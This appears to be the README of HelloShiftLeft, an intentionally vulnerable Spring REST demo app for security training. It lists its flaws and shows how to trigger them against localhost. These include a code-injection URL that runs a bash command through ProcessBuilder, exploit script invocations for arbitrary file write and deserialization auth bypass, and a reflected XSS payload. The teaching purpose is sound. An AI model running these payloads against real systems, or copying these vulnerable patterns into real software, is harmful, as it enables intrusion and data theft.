Skip to content

Latest commit

 

History

History
69 lines (48 loc) · 4.11 KB

README.md

File metadata and controls

69 lines (48 loc) · 4.11 KB
Raw

HelloShiftLeft

This is a demo application which provides a real world representation of a REST service that uses a mix of convention and configuration to simulate a decent set of vulnerabilities exposed in the code. It includes scenarios such as sensitive data leaking to logs, data secrets leaks, authentication bypass, remote code execution, XSS vulnerabilites etc. The sample sensitive data is a mix of financial data such as account information, medical data of patients, and other PII data such as customer information. HelloShiftLeft also contains patterns/anti-patterns of how data is used/abused in interfaces or channels (to and from HTTP/TCP, third-party, database) that can lead to vulnerabilites. The application is built on the Spring Framework and exposes a series of endpoints and APIs for queries and simulating exploits.

Build

$ git clone https://github.com/ShiftLeftSecurity/HelloShiftLeft.git
$ cd HelloShiftLeft
$ mvn clean package

Run

$ java -jar target/hello-shiftleft-0.0.1.jar

Exercise Vulnerabilites and Exposures

Once the application starts, vulnerabilites and exposures in it can be tested with API access patterns described below and through example scripts provided in the exploits directory. These are summarized below:

Sensitive Data Leaks to Log

URL Purpose
http://localhost:8081/customers/1 Returns JSON representation of Customer resource based on Id (1) specified in URL
http://localhost:8081/customers Returns JSON representation of all available Customer resources
http://localhost:8081/patients Returns JSON representation of all available patients in record
http://localhost:8081/account/1 Returns JSON representation of Account based on Id (1) specified
http://localhost:8081/account Returns JSON representation of all available accounts and their details

All the above requests leak sensitive medical and PII data to the logging service. In addition other endpoints such as /saveSettings, /search/user, /admin/login etc. are also available. Along with the list above, users can explore variations of GET, POST and PUT requests sent to these endpoints.

Remote Code Execution

An RCE can be triggered through the /search/user endpoint by sending a GET HTTP request as follows:

http://localhost:8081/search/user?foo=new java.lang.ProcessBuilder({'/bin/bash','-c','echo 3vilhax0r>/tmp/hacked'}).start()

This creates a file /tmp/hacked with the content 3vilhax0r

Arbritary File Write

The filewriteexploit.py script can be executed as follows to trigger the arbritary file writing through the /saveSettings endpoint:

$ python2 filewriteexploit.py http://localhost:8081/saveSettings testfile 3vilhax0r

This creates a file named testfile with 3vilhax0r as its contents

Authentication Bypass

The exploit.py script allows an authentication bypass by exposing a deserialization vulnerability which allows administrator access:

$ python2 exploit.py

This returns the following sensitive data:

Customer;Month;Volume
Netflix;January;200,000
Palo Alto;January;200,000

XSS

A reflected XSS vulnerability exists in the application and can be triggered using the hidden /debug endpoint as follows:

http://localhost:8081/debug?customerId=1&clientId=1&firstName=a&lastName=b&dateOfBirth=123&ssn=123&socialSecurityNum=1&tin=123&phoneNumber=5432alert(1)

It raises and alert dialogue and returns the Customer object data.